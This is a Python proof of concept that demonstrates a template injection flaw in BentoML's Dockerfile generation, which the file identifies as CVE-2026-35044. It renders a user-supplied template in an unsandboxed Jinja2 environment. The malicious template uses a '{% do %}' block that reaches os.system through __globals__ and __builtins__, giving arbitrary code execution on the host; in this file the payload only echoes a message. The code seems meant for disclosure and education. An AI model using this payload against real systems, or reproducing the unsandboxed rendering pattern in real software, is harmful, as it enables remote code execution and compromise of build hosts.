Vulnerable code sample

import jinja2
import os
import sys

# This code represents the vulnerable state of BentoML before version 1.4.38,
# specifically the 'generate_containerfile' function.
# It demonstrates how a malicious Dockerfile template can lead to
# arbitrary code execution on the host machine.

def vulnerable_generate_containerfile(dockerfile_template: str):
    """
    This function simulates the vulnerable behavior of BentoML's Dockerfile generation.
    It uses an unsandboxed Jinja2 environment to render a user-provided template,
    which is the root cause of CVE-2026-35044.
    """
    print(
        "[-] Initializing an UNSANDBOXED Jinja2 environment, as was done in the vulnerable version."
    )
    # The core of the vulnerability: A standard `jinja2.Environment` is used, which does not
    # restrict access to dangerous Python objects or methods. The `jinja2.ext.do` extension
    # allows the template to execute code without rendering its output.
    env = jinja2.Environment(extensions=["jinja2.ext.do"])

    # A malicious user provides a `dockerfile_template` that contains a payload.
    template = env.from_string(dockerfile_template)

    print("[-] Rendering the user-provided Dockerfile template...")
    # When `render()` is called, the malicious payload inside the template is executed
    # with the full permissions of the Python process running this code.
    rendered_content = template.render()

    print("[-] Template rendering complete.")
    print("\n--- Rendered Dockerfile Content ---")
    print(rendered_content)
    print("---------------------------------")


if __name__ == "__main__":
    # This string represents a malicious `dockerfile_template` that an attacker
    # would place inside a Bento archive.
    malicious_template = """
# Benign Dockerfile instructions
FROM python:3.9-slim
LABEL maintainer="harmless.user@example.com"

# Malicious Jinja2 payload for Arbitrary Code Execution
# The `do` block executes Python code directly on the host machine.
# This payload imports the 'os' module and executes a shell command.
{% do self.__init__.__globals__.__builtins__.__import__('os').system('echo "\\n\\n[!!!] VULNERABILITY EXPLOITED [!!!]\\nSUCCESS: Arbitrary code was executed on the host machine.\\nThis demonstrates CVE-2026-35044.\\n"') %}

# More benign Dockerfile instructions
RUN echo "This instruction would run inside the container during 'docker build'."
"""

    print(
        "[*] Simulating `bentoml containerize` on a malicious Bento archive."
    )
    print(
        "[*] The following function call mimics the vulnerable process."
    )

    try:
        vulnerable_generate_containerfile(dockerfile_template=malicious_template)
    except Exception as e:
        print(f"[!] An error occurred during rendering: {e}")

    print("\n[*] Simulation finished. If you see the 'VULNERABILITY EXPLOITED' message above, the demonstration was successful.")